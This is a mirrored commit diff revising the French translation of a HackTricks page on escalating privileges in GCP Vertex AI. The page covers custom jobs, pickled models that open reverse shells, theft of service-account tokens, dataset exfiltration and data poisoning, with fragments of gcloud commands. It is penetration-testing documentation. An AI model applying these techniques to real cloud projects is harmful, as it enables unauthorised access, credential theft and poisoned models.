mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
+69
-71
@@ -4,7 +4,7 @@
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Pour plus d'informations sur Vertex AI, voir :
|
||||
Pour plus d'informations sur Vertex AI, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
@@ -14,9 +14,9 @@ Pour plus d'informations sur Vertex AI, voir :
|
||||
|
||||
Avec la permission `aiplatform.customJobs.create` et `iam.serviceAccounts.actAs` sur un compte de service cible, un attaquant peut **exécuter du code arbitraire avec des privilèges élevés**.
|
||||
|
||||
Cela fonctionne en créant un custom training job qui exécute du code contrôlé par l'attaquant (soit un conteneur personnalisé, soit un package Python). En spécifiant un compte de service privilégié via l'option `--service-account`, le job hérite des permissions de ce compte de service. Le job s'exécute sur une infrastructure gérée par Google avec accès au service de métadonnées GCP, permettant l'extraction du token d'accès OAuth du compte de service.
|
||||
Ceci fonctionne en créant un job d'entraînement personnalisé qui exécute du code contrôlé par l'attaquant (soit un custom container, soit un Python package). En spécifiant un compte de service privilégié via l'option `--service-account`, le job hérite des permissions de ce compte de service. Le job s'exécute sur une infrastructure gérée par Google avec accès au service de métadonnées GCP, ce qui permet d'extraire le jeton d'accès OAuth du compte de service.
|
||||
|
||||
**Impact** : escalation complète des privilèges vers les permissions du compte de service cible.
|
||||
**Impact** : Escalade de privilèges complète vers les permissions du compte de service cible.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -49,7 +49,7 @@ gcloud ai custom-jobs create \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alternative : extraire le token des logs</summary>
|
||||
<summary>Alternative : Extract token from logs</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
@@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Le custom job s'exécutera avec les autorisations du compte de service spécifié. Assurez-vous d'avoir la permission `iam.serviceAccounts.actAs` sur le compte de service cible.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Cette technique permet une élévation de privilèges en téléversant un modèle sur Vertex AI puis en exploitant ce modèle pour exécuter du code avec des privilèges élevés via un déploiement d'endpoint ou un job de batch prediction.
|
||||
Cette technique permet une escalade de privilèges en téléversant un modèle sur Vertex AI, puis en exploitant ce modèle pour exécuter du code avec des privilèges élevés via un déploiement d'endpoint ou un batch prediction job.
|
||||
|
||||
> [!NOTE]
|
||||
> Pour réaliser cette attaque, il est nécessaire d'avoir un bucket GCS lisible par tous (world readable) ou d'en créer un nouveau pour téléverser les artefacts du modèle.
|
||||
> Pour effectuer cette attaque, il est nécessaire d'avoir un world readable GCS bucket ou d'en créer un nouveau pour téléverser les artefacts du modèle.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
<summary>Téléverser un pickled model malveillant avec un reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
@@ -113,7 +111,7 @@ gcloud ai models upload \
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Téléverser un modèle avec container reverse shell</summary>
|
||||
<summary>Téléverser le modèle avec container reverse shell</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
@@ -145,12 +143,12 @@ gcloud ai models upload \
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Après avoir téléversé le modèle malveillant, un attaquant pourrait attendre qu'une personne utilise le modèle, ou lancer lui‑même le modèle via un endpoint deployment ou un batch prediction job.
|
||||
> Après avoir téléversé le modèle malveillant, un attaquant pourrait attendre que quelqu'un utilise le modèle, ou lancer lui‑même le modèle via un déploiement sur un endpoint ou un batch prediction job.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Si vous avez les permissions pour créer et déployer des modèles vers des endpoints, ou modifier les politiques IAM des endpoints, vous pouvez exploiter les modèles malveillants téléversés dans le projet pour obtenir une élévation de privilèges. Pour déclencher l'un des modèles malveillants précédemment téléversés via un endpoint, il vous suffit de :
|
||||
Si vous avez les permissions pour créer et déployer des modèles sur des endpoints, ou modifier les politiques IAM d'un endpoint, vous pouvez exploiter des modèles malveillants téléversés dans le projet pour réaliser une privilege escalation. Pour déclencher l'un des modèles malveillants précédemment téléversés via un endpoint, il vous suffit de :
|
||||
|
||||
<details>
|
||||
|
||||
@@ -175,16 +173,16 @@ gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Si vous avez les permissions pour créer des **batch prediction jobs** et les exécuter avec un service account, vous pouvez accéder au metadata service. Le code malveillant s'exécute depuis un **custom prediction container** ou un **malicious model** pendant le processus de batch prediction.
|
||||
Si vous disposez des autorisations pour créer des **batch prediction jobs** et les exécuter avec un compte de service, vous pouvez accéder au service de métadonnées. Le code malveillant s'exécute depuis un **conteneur de prédiction personnalisé** ou un **modèle malveillant** pendant le processus de batch prediction.
|
||||
|
||||
**Note**: Les batch prediction jobs ne peuvent être créés que via REST API ou Python SDK (pas de support gcloud CLI).
|
||||
**Note** : Les batch prediction jobs ne peuvent être créés que via REST API ou Python SDK (pas de support gcloud CLI).
|
||||
|
||||
> [!NOTE]
|
||||
> Cette attaque nécessite d'abord de téléverser un malicious model (voir la section `aiplatform.models.upload` ci-dessus) ou d'utiliser un custom prediction container contenant votre reverse shell.
|
||||
> Cette attaque nécessite d'abord de téléverser un modèle malveillant (voir la section `aiplatform.models.upload` ci‑dessus) ou d'utiliser un conteneur de prédiction personnalisé contenant votre code de reverse shell.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un batch prediction job avec un malicious model</summary>
|
||||
<summary>Créer un batch prediction job avec un modèle malveillant</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
@@ -240,14 +238,14 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Si vous disposez de la permission **models.export**, vous pouvez exporter les artefacts du modèle vers un bucket GCS que vous contrôlez, ce qui peut permettre d'accéder à des données d'entraînement sensibles ou aux fichiers du modèle.
|
||||
Si vous avez l'autorisation **models.export**, vous pouvez exporter les artefacts du modèle vers un GCS bucket que vous contrôlez, accédant potentiellement à des données d'entraînement sensibles ou à des fichiers du modèle.
|
||||
|
||||
> [!NOTE]
|
||||
> Pour réaliser cette attaque, il est nécessaire d'avoir un bucket GCS accessible en lecture et écriture par tous ou d'en créer un nouveau pour y téléverser les artefacts du modèle.
|
||||
> Pour réaliser cette attaque, il est nécessaire d'avoir un GCS bucket lisible et modifiable par tous, ou d'en créer un nouveau pour y téléverser les artefacts du modèle.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exporter les artefacts du modèle vers un bucket GCS</summary>
|
||||
<summary>Exporter les artefacts du modèle vers un GCS bucket</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
@@ -274,16 +272,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Créer des **ML pipeline jobs** qui exécutent plusieurs étapes avec des containers arbitraires et permettent une privilege escalation via reverse shell access.
|
||||
Créer des **jobs de pipeline ML** qui exécutent plusieurs étapes avec des conteneurs arbitraires et permettent une escalade de privilèges via un reverse shell.
|
||||
|
||||
Les pipelines sont particulièrement puissants pour privilege escalation car ils supportent des multi-stage attacks où chaque composant peut utiliser des containers et des configurations différentes.
|
||||
Les pipelines sont particulièrement puissants pour l'escalade de privilèges car ils prennent en charge des attaques multi-étapes où chaque composant peut utiliser des conteneurs et des configurations différents.
|
||||
|
||||
> [!NOTE]
|
||||
> Vous avez besoin d'un bucket GCS accessible en écriture par tous pour l'utiliser comme racine du pipeline.
|
||||
> Vous avez besoin d'un bucket GCS accessible en écriture par tous à utiliser comme racine du pipeline.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installer le SDK Vertex AI</summary>
|
||||
<summary>Installer Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
@@ -386,11 +384,11 @@ print(f" {response.text}")
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Créer des **hyperparameter tuning jobs** qui exécutent du code arbitraire avec des privilèges élevés via des conteneurs d'entraînement personnalisés.
|
||||
Créer des **hyperparameter tuning jobs** qui exécutent du code arbitraire avec des privilèges élevés via des custom training containers.
|
||||
|
||||
Les Hyperparameter tuning jobs permettent d'exécuter plusieurs essais d'entraînement en parallèle, chacun avec des valeurs d'hyperparamètres différentes. En spécifiant un conteneur malveillant contenant un reverse shell ou une commande d'exfiltration, et en l'associant à un service account privilégié, vous pouvez obtenir privilege escalation.
|
||||
Les hyperparameter tuning jobs permettent d'exécuter plusieurs essais de training en parallèle, chacun avec des valeurs d'hyperparamètres différentes. En spécifiant un container malveillant contenant un reverse shell ou une commande d'exfiltration, et en l'associant à un service account privilégié, vous pouvez obtenir une privilege escalation.
|
||||
|
||||
**Impact** : Full privilege escalation to the target service account's permissions.
|
||||
**Impact**: Full privilege escalation vers les autorisations du service account cible.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -435,15 +433,15 @@ gcloud ai hp-tuning-jobs create \
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Exporter des **datasets** pour exfiltrate des données d'entraînement qui peuvent contenir des informations sensibles.
|
||||
Exporter des **datasets** pour exfiltrer des données d'entraînement pouvant contenir des informations sensibles.
|
||||
|
||||
**Remarque** : les opérations sur les datasets nécessitent REST API ou Python SDK (pas de support gcloud CLI pour les datasets).
|
||||
**Remarque** : Les opérations sur les datasets nécessitent l'API REST ou le SDK Python (pas de prise en charge par gcloud CLI pour les datasets).
|
||||
|
||||
Les datasets contiennent souvent les données d'entraînement originales qui peuvent inclure des PII, des données commerciales confidentielles ou d'autres informations sensibles qui ont été utilisées pour entraîner des modèles en production.
|
||||
Les datasets contiennent souvent les données d'entraînement originales qui peuvent inclure des PII, des données commerciales confidentielles ou d'autres informations sensibles utilisées pour entraîner des modèles en production.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exporter un dataset pour exfiltrate des données d'entraînement</summary>
|
||||
<summary>Exporter un dataset pour exfiltrer des données d'entraînement</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
@@ -492,25 +490,25 @@ cat exported-data/*/data-*.jsonl
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Importer des données malveillantes ou poisoned dans des datasets existants pour **manipuler l'entraînement des modèles et introduire backdoors**.
|
||||
Importer des données malveillantes ou poisoned dans des datasets existants pour **manipuler l'entraînement du modèle et introduire des backdoors**.
|
||||
|
||||
**Note** : Les opérations sur les datasets nécessitent REST API ou Python SDK (pas de support gcloud CLI pour les datasets).
|
||||
**Note** : Les opérations sur les datasets nécessitent l'API REST ou le Python SDK (pas de support gcloud CLI pour les datasets).
|
||||
|
||||
En important des données conçues dans un dataset utilisé pour entraîner des modèles ML, un attaquant peut :
|
||||
- Introduire backdoors dans les modèles (trigger-based misclassification)
|
||||
- Poison les données d'entraînement pour dégrader les performances du modèle
|
||||
- Injecter des données pour provoquer que les modèles leak des informations
|
||||
En important des données spécialement conçues dans un dataset utilisé pour entraîner des modèles ML, un attaquant peut :
|
||||
- Introduire des backdoors dans les modèles (trigger-based misclassification)
|
||||
- Poison training data pour dégrader les performances du modèle
|
||||
- Injecter des données pour provoquer un leak d'informations par les modèles
|
||||
- Manipuler le comportement du modèle pour des entrées spécifiques
|
||||
|
||||
Cette attaque est particulièrement efficace lorsqu'elle cible des datasets utilisés pour :
|
||||
- Classification d'images (injecter des images mal étiquetées)
|
||||
- Classification de texte (injecter du texte biaisé ou malveillant)
|
||||
- Détection d'objets (manipuler les bounding boxes)
|
||||
- Systèmes de recommandation (injecter de fausses préférences)
|
||||
Cette attaque est particulièrement efficace lorsqu'on cible des datasets utilisés pour :
|
||||
- Image classification (injecter des images mal étiquetées)
|
||||
- Text classification (injecter du texte biaisé ou malveillant)
|
||||
- Object detection (manipuler les bounding boxes)
|
||||
- Recommendation systems (injecter de fausses préférences)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importer des données poisoned dans un dataset</summary>
|
||||
<summary>Import poisoned data into dataset</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
@@ -598,7 +596,7 @@ done > label_flip.jsonl
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
<summary>Data poisoning pour model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
@@ -625,38 +623,38 @@ EOF
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Les attaques de data poisoning peuvent avoir des conséquences graves :
|
||||
> - **Systèmes de sécurité** : contourner la reconnaissance faciale ou la détection d'anomalies
|
||||
> - **Détection de fraude** : entraîner les modèles à ignorer des schémas de fraude spécifiques
|
||||
> - **Modération de contenu** : faire classer du contenu dangereux comme sûr
|
||||
> - **IA médicale** : mal classer des conditions de santé critiques
|
||||
> - **Systèmes autonomes** : manipuler la détection d'objets pour des décisions critiques pour la sécurité
|
||||
>
|
||||
> **Impact**:
|
||||
> - Modèles compromis (backdoor) qui se trompent sur des déclencheurs spécifiques
|
||||
> - Performance et précision du modèle dégradées
|
||||
> - Modèles biaisés qui discriminent certains types d'entrées
|
||||
> - Fuite d'information via le comportement du modèle
|
||||
> Data poisoning attacks can have severe consequences:
|
||||
> - **Systèmes de sécurité** : Contourner la reconnaissance faciale ou la détection d'anomalies
|
||||
> - **Détection de fraude** : Entraîner des modèles à ignorer des schémas de fraude spécifiques
|
||||
> - **Modération de contenu** : Faire classer du contenu dangereux comme sûr
|
||||
> - **IA médicale** : Malclasser des conditions de santé critiques
|
||||
> - **Systèmes autonomes** : Manipuler la détection d'objets pour des décisions critiques pour la sécurité
|
||||
>
|
||||
> **Impact** :
|
||||
> - Backdoored models that misclassify on specific triggers
|
||||
> - Dégradation des performances et de la précision du modèle
|
||||
> - Modèles biaisés qui discriminent certaines entrées
|
||||
> - Fuite d'informations via le comportement du modèle
|
||||
> - Persistance à long terme (les modèles entraînés sur des données empoisonnées hériteront de la backdoor)
|
||||
>
|
||||
>
|
||||
> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
>
|
||||
>
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: L'API `aiplatform.notebookExecutionJobs.create` est dépréciée dans le cadre de la dépréciation de Vertex AI Workbench Managed Notebooks. L'approche moderne consiste à utiliser **Vertex AI Workbench Executor** qui exécute les notebooks via `aiplatform.customJobs.create` (déjà documenté ci-dessus).
|
||||
> Le Vertex AI Workbench Executor permet de planifier des exécutions de notebooks qui tournent sur l'infrastructure de custom training de Vertex AI avec un compte de service spécifié. Il s'agit essentiellement d'une surcouche pratique autour de `customJobs.create`.
|
||||
> **Pour une élévation de privilèges via des notebooks** : Utilisez la méthode `aiplatform.customJobs.create` documentée ci-dessus, qui est plus rapide, plus fiable, et utilise la même infrastructure sous-jacente que le Workbench Executor.
|
||||
>
|
||||
> **La technique suivante est fournie à titre historique uniquement et n'est pas recommandée pour les nouveaux audits.**
|
||||
>
|
||||
> Créer des **notebook execution jobs** qui exécutent des notebooks Jupyter contenant du code arbitraire.
|
||||
>
|
||||
> Les notebook jobs sont idéaux pour l'exécution de code de type interactif avec un compte de service, car ils supportent des cellules de code Python et des commandes shell.
|
||||
>
|
||||
> **Deprecated API** : L'API `aiplatform.notebookExecutionJobs.create` est obsolète dans le cadre de la dépréciation de Vertex AI Workbench Managed Notebooks. L'approche moderne consiste à utiliser **Vertex AI Workbench Executor** qui exécute les notebooks via `aiplatform.customJobs.create` (déjà documenté ci-dessus).
|
||||
> Le Vertex AI Workbench Executor permet de planifier l'exécution de notebooks qui tournent sur l'infrastructure d'entraînement personnalisée de Vertex AI avec un compte de service spécifié. Il s'agit essentiellement d'une couche d'abstraction pratique autour de `customJobs.create`.
|
||||
> **Pour l'escalade de privilèges via les notebooks** : Utilisez la méthode `aiplatform.customJobs.create` documentée ci-dessus, qui est plus rapide, plus fiable et utilise la même infrastructure sous-jacente que le Workbench Executor.
|
||||
|
||||
**La technique suivante est fournie uniquement à titre historique et n'est pas recommandée pour de nouvelles évaluations.**
|
||||
|
||||
Créez des **notebook execution jobs** qui exécutent des notebooks Jupyter avec du code arbitraire.
|
||||
|
||||
Les notebook jobs sont idéaux pour l'exécution de code de style interactif avec un compte de service, car ils prennent en charge des cellules de code Python et des commandes shell.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un fichier de notebook malveillant</summary>
|
||||
<summary>Créer un fichier notebook malveillant</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
@@ -683,7 +681,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exécuter le notebook avec le compte de service cible</summary>
|
||||
<summary>Exécuter le notebook avec le service account cible</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
|
||||
Reference in New Issue
Block a user